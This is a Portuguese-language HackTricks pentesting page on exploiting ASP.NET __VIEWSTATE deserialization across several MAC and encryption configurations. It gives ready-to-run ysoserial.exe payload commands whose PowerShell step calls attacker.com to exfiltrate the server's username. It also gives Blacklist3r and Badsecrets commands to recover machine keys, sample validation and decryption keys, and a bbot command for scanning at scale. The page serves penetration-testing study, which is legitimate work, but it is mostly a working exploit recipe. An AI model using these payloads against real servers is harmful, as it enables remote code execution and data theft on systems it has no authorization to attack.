hacktricks/pentesting-web/deserialization/exploiting-__viewstate-parameter.md

220 lines
17 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Explorando \_\_VIEWSTATE sem conhecer os segredos
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? Ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
{% embed url="https://www.stmcyber.com/careers" %}
## O que é ViewState
**ViewState** é o método que o framework ASP.NET usa por padrão para p**reservar valores de página e controle entre páginas da web**. Quando o HTML da página é renderizado, o estado atual da página e os valores que precisam ser mantidos durante o postback são serializados em strings codificadas em base64 e exibidos no campo oculto ViewState ou nos campos.\
As seguintes propriedades ou combinação de propriedades se aplicam às informações do ViewState:
* Base64
* Pode ser definido usando o atributo EnableViewStateMac e ViewStateEncryptionMode definido como false
* Base64 + MAC (Message Authentication Code) habilitado
* Pode ser definido usando o atributo EnableViewStateMac definido como true
* Base64 + Criptografado
* Pode ser definido usando o atributo viewStateEncryptionMode definido como true
## **Casos de Teste**
![](<../../.gitbook/assets/image (309) (2).png>)
### Caso de Teste: 1 EnableViewStateMac=false e viewStateEncryptionMode=false
Também é possível desabilitar completamente o ViewStateMAC definindo a chave de registro `AspNetEnforceViewStateMac` como zero em:
```
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
```
**Identificando Atributos do ViewState**
Você pode tentar identificar se o ViewState está protegido por MAC capturando uma solicitação contendo esse parâmetro com o BurpSuite:
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/1.0.png)
Se o MAC não for usado para proteger o parâmetro, você pode explorá-lo usando o [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net).
```
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"
```
### Caso de teste 1.5 - Como o caso de teste 1, mas o cookie ViewState não é enviado pelo servidor
Os desenvolvedores podem **remover o ViewState** para que ele não faça parte de uma solicitação HTTP (o usuário não receberá esse cookie).\
Pode-se assumir que se o **ViewState** não estiver presente, a implementação estará **segura** contra possíveis vulnerabilidades relacionadas à desserialização do ViewState.\
No entanto, esse não é o caso. Se adicionarmos o parâmetro **ViewState** ao corpo da solicitação e enviarmos nossa carga útil serializada criada usando o ysoserial, ainda poderemos obter **execução de código** como mostrado no **Caso 1**.
### Caso de Teste: 2 - .Net < 4.5 e EnableViewStateMac=true & ViewStateEncryptionMode=false
Para **habilitar o MAC do ViewState** para uma **página específica**, precisamos fazer as seguintes alterações em um arquivo aspx específico:
```bash
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>
```
Também podemos fazer isso para a aplicação **como um todo** configurando no arquivo **web.config**, conforme mostrado abaixo:
```markup
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off" />
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac="true" />
</system.web>
</configuration>
```
Como o parâmetro está protegido por MAC desta vez, para executar com sucesso o ataque, primeiro precisamos obter a chave utilizada. Neste caso, o BurpSuite nos informará que o parâmetro está protegido por MAC:
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/2.0.png)
Você pode tentar usar [**Blacklist3r(AspDotNetWrapper.exe)**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) para encontrar a chave utilizada.
```
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"
--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value
```
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/2.1.png)
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) é outra ferramenta que pode identificar machineKeys conhecidos. É escrita em Python, então, ao contrário do Blacklist3r, não há dependência do Windows. Para viewstates .NET, há um utilitário "python blacklist3r", que é a maneira mais rápida de usá-lo.
Ele pode ser fornecido diretamente com o viewstate e o gerador:
```
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE
```
Ou, ele pode se conectar diretamente à URL de destino e tentar extrair o viewstate do HTML:
```
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx
```
![](https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png)
Para buscar viewstates vulneráveis em escala, em conjunto com a enumeração de subdomínios, o módulo `badsecrets` do [**BBOT**](exploiting-\_\_viewstate-parameter.md) pode ser usado:
```
bbot -f subdomain-enum -m badsecrets -t evil.corp
```
![](https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png)
Se você tiver sorte e encontrar a chave, você pode prosseguir com o ataque usando [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)**:**
```
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
--generator = {__VIWESTATEGENERATOR parameter value}
```
Nos casos em que o parâmetro `_VIEWSTATEGENERATOR` **não é enviado** pelo servidor, você **não precisa** fornecer o parâmetro `--generator`, mas **estes** são necessários:
```bash
--apppath="/" --path="/hello.aspx"
```
### Caso de teste: 3 - .Net < 4.5 e EnableViewStateMac=true/false e ViewStateEncryptionMode=true
Neste caso, o Burp não consegue identificar se o parâmetro está protegido com MAC porque não reconhece os valores. Portanto, o valor provavelmente está criptografado e você **precisará da Machine Key para criptografar sua carga útil** e explorar a vulnerabilidade.
![](https://notsosecure.com/sites/all/assets/group/nss_uploads/2019/06/3.0.png)
**Neste caso, o módulo** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **está em desenvolvimento...**
Antes do .NET 4.5, o ASP.NET pode **aceitar** um parâmetro \_`__VIEWSTATE`\_ **não criptografado** dos usuários, mesmo que o **`ViewStateEncryptionMode`** tenha sido definido como _**Always**_. O ASP.NET **apenas verifica** a **presença** do parâmetro **`__VIEWSTATEENCRYPTED`** na solicitação. **Se esse parâmetro for removido e a carga útil não criptografada for enviada, ela ainda será processada.**
Portanto, se a Machine Key for conhecida (por exemplo, por meio de um problema de travessia de diretório), o comando [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) usado no **Caso 2** pode ser usado para executar RCE usando a vulnerabilidade de deserialização do ViewState.
* Remova o parâmetro `__VIEWSTATEENCRYPTED` da solicitação para explorar a vulnerabilidade de deserialização do ViewState, caso contrário, ocorrerá um erro de validação do MAC do ViewState e a exploração falhará, como mostrado na figura:
![](https://notsosecure.com/sites/all/assets/group/nss_uploads/2019/06/3.1.png)
### Caso de teste: 4 - .Net >= 4.5 e EnableViewStateMac=true/false e ViewStateEncryptionMode=true/false, exceto ambos os atributos definidos como false
Podemos forçar o uso do framework ASP.NET especificando o parâmetro abaixo dentro do arquivo web.config, conforme mostrado abaixo.
```markup
<httpRuntime targetFramework="4.5" />
```
Alternativamente, isso pode ser feito especificando a opção abaixo dentro do parâmetro `machineKey` do arquivo web.config.
```bash
compatibilityMode="Framework45"
```
Como no caso anterior, o Burp não identifica se a solicitação está protegida por MAC porque o **valor está criptografado**. Portanto, para enviar uma **carga útil válida, o atacante precisa da chave**.
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/4.0.png)
Você pode tentar usar [**Blacklist3r(AspDotNetWrapper.exe)**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) para encontrar a chave sendo usada:
```
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"
--encrypteddata = {__VIEWSTATE parameter value}
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}
```
Para uma descrição mais detalhada de IISDirPath e TargetPagePath [consulte aqui](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/4.1.png)
Ou, com [**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) (com um valor gerado):
```
cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415
```
Uma vez identificada uma chave de máquina válida, **o próximo passo é gerar uma carga útil serializada usando** [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)
```
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
```
Se você tiver o valor de `__VIEWSTATEGENERATOR`, você pode tentar **usar** o parâmetro `--generator` com esse valor e **omitir** os parâmetros `--path` e `--apppath`
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/4.2.png)
Se a vulnerabilidade de deserialização do ViewState for explorada com sucesso, um servidor controlado pelo atacante receberá uma solicitação fora de banda contendo o nome de usuário. [PoC de Exploração Bem-Sucedida](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC)
### Caso de Teste 6 - ViewStateUserKeys está sendo usado
A propriedade **ViewStateUserKey** pode ser usada para **defender** contra um **ataque CSRF**. Se uma chave desse tipo tiver sido definida na aplicação e tentarmos gerar a carga útil do **ViewState** com os métodos discutidos até agora, a **carga útil não será processada pela aplicação**.\
Você precisa usar mais um parâmetro para criar corretamente a carga útil:
```bash
--viewstateuserkey="randomstringdefinedintheserver"
```
### Resultado de uma Exploração Bem-sucedida <a href="#poc" id="poc"></a>
Para todos os casos de teste, se o payload ViewState YSoSerial.Net funcionar **com sucesso**, o servidor responde com "Erro interno do servidor 500" com o conteúdo de resposta "As informações de estado são inválidas para esta página e podem estar corrompidas" e obtemos a solicitação OOB conforme mostrado nas Figuras abaixo:
![](https://notsosecure.com/sites/all/assets/group/nss_uploads/2019/06/5.0POC-of-Seccuessful-exploitation.png)
solicitação fora de banda com o nome de usuário atual
![](https://notsosecure.com/sites/all/assets/group/nss_uploads/2019/06/5.1POC-of-Seccuessful-exploitation.png)
## Referências
* [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
* [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)\\
* [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
* [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês, escrita e falada, é necessária_).
{% embed url="https://www.stmcyber.com/careers" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? Ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>